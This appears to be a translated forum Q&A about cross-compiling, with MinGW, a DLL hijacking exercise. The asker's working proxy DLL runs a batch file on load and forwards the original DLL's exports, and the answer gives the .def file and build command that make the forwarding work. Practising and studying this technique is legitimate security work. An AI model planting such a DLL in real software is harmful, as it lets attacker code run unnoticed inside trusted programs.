如何使用导出的函数交叉编译 DLL

How to cross-compile DLL with exported functions

本文关键字:函数 交叉编译 DLL 何使用      更新时间:2023-10-16

我正在完成一个DLL劫持练习,并编写了一个DLL,它在Visual Studio中编译时可以按预期工作。实质上,当加载 DLL 时,它会执行 shell 命令并将合法功能(在此示例中为 CheckEvenOdd 和PrintAMessage函数(传递给最初预期的 DLL(在此示例中为GetEvenOdd.dll(。工作代码如下;

#include "stdafx.h"
#include <windows.h>
#pragma comment(linker, "/export:CheckEvenOdd=GetEvenOdd.dll.original.CheckEvenOdd")
#pragma comment(linker, "/export:PrintAMessage=GetEvenOdd.dll.original.PrintAMessage")
extern "C" __declspec(dllexport)
DWORD WINAPI ExecuteCmd(LPVOID lpParam) {
WinExec("c:\Users\Public\execute.bat", 0);
return 0;
}
extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, ExecuteCmd, NULL, NULL, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

虽然它在Visual Studio(Windows(中编译时按预期工作,但我想在Linux中生成DLL(用于Windows程序(。在 Linux 中,我可以交叉编译 CPP 文件(注入器.cpp(,并使用这些命令创建 DLL;

i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL injector.cpp
i686-w64-mingw32-g++ -shared -o GetEvenOdd.dll injector.o -Wl,--out-implib,injector.a

这将成功创建 DLL。但是,当DLL由我的"受害者应用程序"(在Windows上运行(加载时,尽管执行了"ExecuteCmd"函数,但导出的函数(来自"杂注注释"行(不可用。也就是说,加载此 DLL 的程序尝试查找导出的函数,但无法(即,如果执行 DLL 导入应用程序的分支,则执行以下(。

FNPTR fn = (FNPTR)GetProcAddress(hInst, "CheckEvenOdd");
if (!fn)
{
std::cout << "nCould not locate the function CheckEvenOdd";
std::cout << "nnPress Enter to Continue...";
getch();
return EXIT_FAILURE;
} 

这告诉我,当我在 Linux 中生成 DLL 时,"编译指示注释"行没有按预期工作。

从一些阅读中,我知道这些"编译指示命令"是特定于编译器的。我是否可以为"i686-w64-mingw32-g++"提供一些标志(或我可以进行一些代码更改(,以便在我在 Linux 中编译 DLL 时导出的函数可用?

编译指示特定于每个编译器,您的编译指示将在Visual C++中工作,但在 MingW 中不起作用。相反,您可以使用Visual C++和MinGW支持的.def文件。

以下是 injector.def 在您的情况下可能的样子:

EXPORTS
CheckEvenOdd = GetEvenOdd.dll.original.CheckEvenOdd
PrintAMessage = GetEvenOdd.dll.original.PrintAMessage

编译命令:

$ i686-w64-mingw32-g++ -o GetEvenOdd.dll --shared injector.cpp injector.def